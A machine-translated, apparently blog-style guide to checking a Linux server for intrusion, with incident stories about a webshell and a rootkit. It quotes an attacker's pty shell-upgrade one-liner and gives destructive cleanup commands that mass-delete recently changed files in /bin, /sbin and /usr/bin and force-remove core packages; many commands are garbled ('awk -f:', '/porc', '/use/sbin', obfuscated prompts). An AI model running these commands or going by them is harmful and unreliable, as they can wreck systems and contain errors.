Whether the Linux system is combed by the Trojan horse's troubleshooting process

In the daily tedious operation and maintenance work, it is a very important part to carry on the security check of Linux server. Today, share how to check if the Linux system has been compromised?

First, whether the intrusion check

1) Check System log Check system error log, Count IP retries (last command is to view the system log, such as the system is reboot or logging) [[email protected] ~]#  LAST2) Check the system user to see if there is an abnormal system user [[email protected] ~]# cat /etc/passwd  see if a new user has been generated. UID and GID for 0 users [[email protected] ~]# grep  "0"  /etc/passwd  View passwd modified time, Decide if you want to add a user [[email protected] ~]# ls -l /etc/passwd  to see if there are privileged users in the unknown situation [[email  protected] ~]# awk -f:  ' $3==0 {print $1} '  /etc/passwd  see if there is a blank password account [[ email protected] ~]# awk -f:  ' Length ($) ==0 {print $1} '  /etc/ SHADOW3) Check the exception process note that the process with UID 0 uses the PS -EF command to view the process   see the ports and files opened by the process [[email protected] ~]# lsof  -p pid Command View   check hidden process [[email protected] ~]# ps -ef | awk  ' { print } '  | sort -n | uniq >1[[email protected] ~]# ls  /porc |sort -n|uniq >2[[email protected] ~]# diff 1 24) Check for abnormal system files [[email protected] ~]# find / -uid 0  –perm -4000 –print[[email protected] ~]# find / -size +10000k  –print[[email protected] ~]# find / -name  "..."  –print[[email  protected] ~]# find / -name  ".."  –print[[email protected]ost ~]# find / -name  "."  –print[[email protected] ~]# find / -name  " "  –print5) Check System file integrity [ [email protected] ~]# rpm –qf /bin/ls[[email protected] ~]# rpm - qf /bin/login[[email protected] ~]# md5sum –b  file name [[email protected] ~] # md5sum –t  file name 6) Check RPM integrity [[email protected] ~]# rpm -va  #注意相关的/sbin,/ Bin,/usr/sbin,/usr/bin output Format Description: S – FILE SIZE DIFFERS M – MODE&Nbsp;differs  (permissions) 5 – md5 sum differs d – device number  mismatchl – readlink path mismatchu – user ownership differsg  – GROUP OWNERSHIP DIFFERST – MODIFICATION TIME DIFFERS7) Check the network [email  protected] ~]# ip link | grep promisc (normal NIC should not be in Promisc mode, there may be sniffer) [[email  PROTECTED] ~]# LSOF –I[[EMAIL PROTECTED] ~]# NETSTAT –NAP (see Abnormal open TCP /UDP port) [[EMAIL PROTECTED] ~]# ARP –A8] Check system scheduled Tasks [[email protected] ~]#  crontab –u root –l[[email protected] ~]# cat /etc/crontab[[email  PROTECTED] ~]# LS /ETC/CRON.*9) Check the system back door [[email protected] ~]# cat /etc/ Crontab[[email protected] ~]# ls /var/spool/cron/[[email protected] ~]# cat  /etc/rc.d/rc.local[[email&nbsP;PROTECTED] ~]# LS /ETC/RC.D[[EMAIL PROTECTED] ~]# LS /ETC/RC3.D10) Check System services [ [email protected] ~]# chkconfig -list[[email protected] ~]# rpcinfo - P (View RPC service) 11) Check rootkit[[email protected] ~]# rkhunter -c[[email protected] ~]#  chkrootkit -q

Second, the Linux system is the appearance of intrusion/poisoning

The more common poisoning manifests in the following three aspects: 1) The server goes out of bandwidth will run high this is a characteristic of poisoning. Because the server is poisoned and used by others, it is common to take it as a broiler to attack others, and to take your data. Therefore, the server bandwidth needs special attention, if the server out of the bandwidth to run very high, it must be a bit unusual, need to check it in time! 2) The system will generate unnecessary users of unknown poisoning or after the invasion will cause the system to generate some unknown users or log in, so this aspect of the inspection can also see some anomalies. 3) Does the boot start up some unclear service and crond tasks are there some unknown tasks? Because the poisoning will start with the system start, it will normally boot, check the start of the service or files are abnormal, generally in/etc/rc.local and crondtab-l display.

Third, by the way, the Linux system was compromised/poisoned the process of solving

Encountered in the work of the system regular card, and sometimes remote connection, from the local and remote check the system, found that there are unknown system processes. Preliminary judgment is possible poisoning!!!   Resolution process: 1) in the monitoring of the bandwidth of this server, found that the server out of the bandwidth to run very high, so it will cause the remote connection card even not connected, this is a reason. Why is the server out of bandwidth so high and beyond the open bandwidth value? This reason can only be checked into the server system.  2) remote into the system to check the next,  ps -aux to the unknown process  , immediately shut it down.  3) Check the boot entry: #chkconfig  --list | grep 3:on server start level is 3, I check the boot start item, there is no particularly obvious service. And then check the boot start of a file #more /etc/rc.local see this file has been added a lot of unknown items, annotated it.  4) Then there are some cards when you connect to this server remotely. Check the system's scheduled Tasks Crond, use the crondtab -l  command to view, see a lot of comment lines. These comment lines are similar to the contents of/etc/rc.local. Finally, back up the next/var/spool/cron/root file (that is, the contents of the Crontab scheduled task under root), delete the crontab content, then stop the Crond task and Chkconfig crond off   Disable it on boot.  5) in order to completely eliminate the harm, I checked the system log (last command to view), see in addition to the root user and other users have logged on. Check the/etc/passwd  and, if you see an unknown user, immediately disable these users with usermod -l xxx . The complex password for the system is then updated. ----------------------------------------------------How to disable/Lock the user login system 1. usermod -l username  Lock user     usermod -U username  Unlock 2. passwd -l username     passwd -u username  unlock 3. Modify the user's shell type to/sbin/nologin (modified in/etc/passwd file) 4. /etc/creates an empty file Nologin, which locks all users except root----------------------------------------------------

Iv. How to ensure the security of Linux system

1) From the past encountered instances to analyze, the password is too simple is a wrong user name default, password is too simple is the most vulnerable to intrusion of the object, so do not use too simple password, the previous encounter with the customer is the use of too simple and the rules of the password  1q2w3e4r5t,  This kind of password is common in the scanned software, so it is easy to be scanned by others.  2) do not use the default remote port, to avoid being scanned to scan the people are based on the port scan, and then a password scan, the default port is often the scanner object, they scan a large ip  segment, which open 22 ports and considered to be the SSH service Linux system, That's why I guess the code for this machine. Changing the remote port is also a safe measure!  3) Use some security policies to protect the system open ports using Iptables or configure/etc/hosts.deny  and/etc/hosts.allow whitelist settings can be used for/etc/passwd,/etc/ Group,/etc/sudoers,/etc/shadow and other user information files to lock (Chattr +ai)  4) Disable ping settings # echo 1 > / Proc/sys/net/ipv4/icmp_echo_ignore_ All---------------------------------------------------------found a server was Getshell infiltration solution: 1) using the top command to find a Python program takes up 95% CPU2) use Ps -ef|grep python to discover the following program:    python -c import pty;pty.spamn ("/ Bin/sh ") This program command represents the Webshell bounce shell back after getting the real Ttyshell to infiltrate the server. Kill the process! 3) found in/var/spool/cron below set up a nobody timed execution above get Getshell infiltration command! Decisively Delete this task! 4) Ss -a discovers a suspicious IP as well as its process, and decisively prohibits all requests for this IP in iptables:   -i input -s  180.125.131.192 -j&Nbsp;d ROP-----------------------------------------------------------------------------------------------------------such as: on a single server , the 80-port Nginx process has been started, but after executing "lsof -i:80" or "ps -ef" command, there is no information output! Why is this? Suspect the PS command on the machine is hacked! Execution: [[email protected] ~]# which ps/bin/ps[[email protected] ~]# ls -l  /bin/ps-rwxr-xr-x. 1 root root 85304 5 Month   11 2016 /bin/ps[[ email protected] ~]# stat /bin/ps  file:  "/bin/ps"   Size:  85304       blocks: 168         IO Block: 4096    Common file Device: fc02h/64514d    inode:  13549       Links: 1Access:  (0755/-rwxr-xr-x)    uid:  (    0/    root)    Gid:  (     0/    root) access: 2017-05-07 17:14:37.862999884 +0800modify: 2016-05-11  07:23:09.000000000 +0800change: 2017-05-07 17:14:37.146999967 +0800  The binary file that found the PS command was recently changed. Workaround: You can copy the/bin/ps binary file on the other machine to overwrite this file of this machine. -------------------------remember a time when the Linux operating system was hacked--------------------------------------one day suddenly found that the IDC computer room a test server traffic anomalies, Almost full of the total bandwidth of the computer room, causing other server programs to run business blocked! realized that the test machine was the race of the Trojan, so began the intense troubleshooting process:  1 run PS and top command found two unfamiliar names of programs (such as Mei34hu) occupy most of the CPU resources, obviously this is someone else implanted program! A decisive attempt to kill the two processes, after kill, the test machine flow significantly down. Unfortunately, however, it was later restored to its former state.  2) Closes the external network of the IDC test machine. Remote access to the machine via the network of the springboard machine.  3) Look at these unfamiliar programs where the path finder path: ls /proc/process number/exe, and then kill the process again, and generate a new process name, and found that the path is also randomly in the path variable paths, sometimes in the/bin directory, sometimes in the/ Sbin, sometimes in the/usr/bin directory. There seems to be a background control program in the mischief, continue to find.  4) try to find the tracker to see if there is a file name that begins with./bin,/sbin,/usr/bin, etc., and finds many, and some programs are automatically generated after removal. [[email protected] ~]# ls /usr/bin/.    //Press the TAB key to complete./   /  .ssh.hmac  This shows that the main control program has not been found.  5) Then follow these unfamiliar programs with the strace command: [[EMAIL PROTECTED] ~]#&Nbsp;strace /bin/mei34hu  results found that after tracking the program, it actually killed himself (the process file to kill)! Then want to use Netstat to see the network connection situation, the results can not find any external network connection, so began to suspect that the command has been modified. Use stat  to view system commands PS, ls , Netstat, pstree, and more: [[email protected] ~]# which ps/usr/bin/ps[ [email protected] ~]# which lsalias ls= ' Ls --color=auto '      /usr/bin/ls[[email protected] ~]# which netstat/usr/bin/netstat[[email protected]  ~]# stat /usr/bin/netstat[[email protected] ~]# stat /usr/bin/ps[[email  protected] ~]# stat /usr/bin/ls......  found the modification time in the last 3 days, which makes me suddenly think of the legendary rootkit user-level virus!! It is possible that the test machine has just installed the system, set the root password of 123456, and then put it on the public network was invaded.   then check out which programs it has in the relevant path: [[Email protected] ~]# find /bin -mtime -3 -type  f | xargs rm -f[[email protected] ~]# find /usr/bin -mtime  -3 -type f | xargs rm -f[[email pRotected] ~]# find /use/sbin -mtime -3 -type f | xargs rm  -f[[email protected] ~]# find /sbin -mtime -3 -type f |  xargs rm -f  Remove all of the 3-day programs found above and force the power off to restart the server! But the hateful thing is that these programs have been running after the machine restarts! It is clear that these programs are set to boot from boot  6) to view the system boot entry [[email protected] ~]# find /etc/rc.d/ -mtime - 3 ! -type d  sure enough, these programs are set up to boot from. So, just one more time to delete and then restart the server with brute force. [[Email protected] ~]# find /bin -mtime -3 -type f | xargs  rm -f[[email protected] ~]# find /usr/bin -mtime -3 -type f  | xargs rm -f[[email protected] ~]# find /use/sbin -mtime - 3 -type f | xargs rm -f[[email protected] ~]# find /sbin  -mtime -3 -type f | xargs rm -f[[email&nbsP;protected] ~]# find /etc/rc.d/ -mtime -3 ! -type d | xargs  rm -f  after restarting the server, use the top command to view the system CPU utilization is not high. That's how they got killed.  7) concerns that the boot process may be hidden from common commands in the system, such as Ls,ps, so that once executed, it pulls up the Trojan horse program. Then check to see if the system has created an administrator account other than root: [[email protected] ~]# awk -f]: '   ' {if ($3 == 0)  print $1} '  /etc/passwdroot  results found that only the root user was entered, stating that the system user is normal. In fact, when the system is infected with a rootkit, the system has become unreliable, the only way is to re-install the system.  8) for some common command program repair ideas: Find common commands in the RPM package, and then forced to delete, and finally in the installation through Yum (because the extranet has been removed, can be downloaded by Squid agent on the internet yum) [[email protected]  ~]# rpm -qf /bin/ps[[email protected] ~]# rpm -qf /bin/ls[[email  protected] ~]# rpm -qf /bin/netstat[[email protected] ~]# rpm - qf /usr/bin/pstree  then the RPM package that the above command finds out is forced to unload [[email protected] ~]# rpm -e -- nodeps  [[email protected] ~]# rpm -e --nodeps  [[email protected] ~]# rpm -e --nodeps  [[email protected] ~]# rpm -e --nodeps ......  then reinstall [[email protected ] ~]# yum install -y procps coreutils net-tools psmisc  finally reboot the system. In addition to the above troubleshooting, you can also: 1) combined with the server system log/var/log/messages,/var/log/secure for careful examination. 2) Set the suspicious file as non-executable, use Chattr +ai to change several important directories to not add and modify, and then kill the process, and then restart 3) Chkrootkit and other tools to check   for the above combing the trojan to clear the way to troubleshoot the idea to be skilled. Do not panic, calm down, carefully check the system log, according to the above troubleshooting ideas to step-by-step processing, so hacker basically "surrender" ~ ~ ~

Whether the Linux system is combed by the Trojan horse's troubleshooting process